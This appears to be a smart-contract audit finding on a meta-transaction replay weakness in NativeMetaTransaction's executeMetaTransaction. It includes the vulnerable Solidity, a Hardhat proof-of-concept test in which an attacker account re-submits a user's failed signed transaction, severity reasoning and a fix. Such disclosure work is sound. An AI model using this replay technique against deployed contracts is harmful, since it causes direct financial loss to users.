NativeMetaTransaction implements the executeMetaTransaction function which allows a sender (or more precisely, a transaction signer) to construct and sign a transaction off-chain, passing the resulting signed transaction to a gas relay who submits the transaction on-chain, eventually paying for the gas fees. The function implementation contains a nonce, however, it is not incremented for failed transactions. The function implementation also lacks deadline, which would further protect against replay attacks. The combined effect of these missing checks is that replay attacks are trivial to execute.
The NativeMetaTransaction:executeMetaTransaction function implements a nonce, however, the counter is not incremented if the transaction fails. The implementation also lacks deadline, which would mitigate the time window for replay attacks.
function executeMetaTransaction(address userAddress, bytes memory functionSignature, bytes32 sigR, bytes32 sigS, uint8 sigV) public payable returns (bytes memory) {
MetaTransaction memory metaTx = MetaTransaction({
nonce: nonces[userAddress],
from: userAddress,
functionSignature: functionSignature
});
require(
verify(userAddress, metaTx, sigR, sigS, sigV),
"Signer and signature do not match"
);
nonces[userAddress] = nonces[userAddress] + 1;
emit MetaTransactionExecuted(userAddress, msg.sender, functionSignature, hashMetaTransaction(metaTx));
(bool success, bytes memory returnData) = address(this).call{value: msg.value}(abi.encodePacked(functionSignature, userAddress));
require(success, "Function call not successful");
return returnData;
}
The proof of concept comes below. Pasting the code exactly as it is should work. Local test environment was initialized with "anvil" from the foundry toolkit, therefore the complete command to execute the test would be npx hardhat test test/replay.test.ts --network localhost.
import { expect } from "chai";
import { ethers } from "hardhat";
describe("NativeMetaTransaction", function () {
let owner: any, user: any, attacker: any;
let currencyManager, membershipImplementation, membershipFactory: any, testERC20:any;
let nftAddress:any;
let DAOType:any, DAOConfig:any, TierConfig:any;
beforeEach(async function () {
[owner, user, attacker] = await ethers.getSigners();
const CurrencyManager = await ethers.getContractFactory("CurrencyManager");
currencyManager = await CurrencyManager.deploy();
await currencyManager.deployed();
console.log("CurrencyManager deployed at:", currencyManager.address);
const MembershipERC1155 = await ethers.getContractFactory("MembershipERC1155");
membershipImplementation = await MembershipERC1155.deploy();
await membershipImplementation.deployed();
console.log("MembershipERC1155 deployed at:", membershipImplementation.address);
const MembershipFactory = await ethers.getContractFactory("MembershipFactory");
membershipFactory = await MembershipFactory.deploy(currencyManager.address, owner.address, "https://baseuri.com/", membershipImplementation.address);
await membershipFactory.deployed();
console.log("MembershipFactory deployed at:", membershipFactory.address);
const ERC20 = await ethers.getContractFactory("OWPERC20");
testERC20 = await ERC20.deploy('OWP', 'OWP');
await testERC20.deployed();
console.log("TestERC20 deployed at:", testERC20.address);
await currencyManager.connect(owner).addCurrency("0x7ceb23fd6bc0add59e62ac25578270cff1b9f619");
await currencyManager.connect(owner).addCurrency("0x1BFD67037B42Cf73acF2047067bd4F2C47D9BfD6");
await currencyManager.connect(owner).addCurrency("0x3c499c542cEF5E3811e1192ce70d8cC03d5c3359");
await currencyManager.connect(owner).addCurrency("0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174");
await currencyManager.connect(owner).addCurrency(testERC20.address);
DAOType = { PUBLIC: 0, PRIVATE: 1, SPONSORED: 2 };
DAOConfig = { ensname: "test", daoType: DAOType.PUBLIC, currency: testERC20.address, maxMembers: 30, noOfTiers: 3 };
TierConfig = [
{ price: 400, amount: 10, minted: 0, power: 12 },
{ price: 200, amount: 10, minted: 0, power: 6 },
{ price: 100, amount: 10, minted: 0, power: 3 }
];
const tx = await membershipFactory.createNewDAOMembership(DAOConfig, TierConfig);
const receipt = await tx.wait();
const event = receipt.events.find((event:any) => event.event === "MembershipDAONFTCreated");
const ensName = event.args[2][0];
nftAddress = event.args[1];
const ensToAddress = await membershipFactory.getENSAddress("test")
expect(ensName).to.equal("test");
expect(ensToAddress).to.equal(nftAddress);
});
it("MetaTransaction Replay", async function () {
await testERC20.mint(user.address, ethers.utils.parseEther("200"));
await testERC20.connect(user).approve(membershipFactory.address, TierConfig[0].price);
const functionSignature = membershipFactory.interface.encodeFunctionData("joinDAO", [nftAddress, 0]);
const nonce = await membershipFactory.getNonce(user.address);
console.log("Nonce before replay:", nonce.toString());
const metaTransaction = {
nonce: nonce.toNumber(),
from: user.address,
functionSignature: functionSignature,
};
const domain = {
name: "OWP",
version: "1",
verifyingContract: membershipFactory.address,
salt: ethers.utils.hexZeroPad(ethers.utils.hexlify((await ethers.provider.getNetwork()).chainId), 32),
};
const types = {
MetaTransaction: [
{ name: "nonce", type: "uint256" },
{ name: "from", type: "address" },
{ name: "functionSignature", type: "bytes" },
],
};
const signature = await user._signTypedData(domain, types, metaTransaction);
const { v, r, s } = ethers.utils.splitSignature(signature);
await expect(
membershipFactory.connect(user).executeMetaTransaction(user.address, functionSignature, r, s, v, { gasLimit: 25000 })
).to.be.reverted;
const tx = await membershipFactory.connect(attacker).executeMetaTransaction(user.address, functionSignature, r, s, v);
const receipt = await tx.wait();
expect(receipt.status).to.equal(1);
const nonceAfter = await membershipFactory.getNonce(user.address);
console.log("Replay attack succeeded!");
console.log("Nonce after replay:", nonceAfter.toString());
});
});
High - the only attack precondition is observing a failed signed transaction on-chain. Due to the lack of deadline, there is an infinite time window to execute an attack, elevating this to a high likelihood issue.
High - possible actions to execute are: create new DAO, join DAO, and upgrade tiers. Two of these (join DAO, upgrade tiers) may incur financial losses to the user because DAO membership tokens are not redeemable. Therefore, a replayed transaction may trick a user into spending more funds than originally planned, causing financial loss to the user and loss of trust and reputation for the protocol.
Increase nonce even when the transaction reverts. Implement a deadline mechanism, so that signed transactions are only valid for a limited amount of time.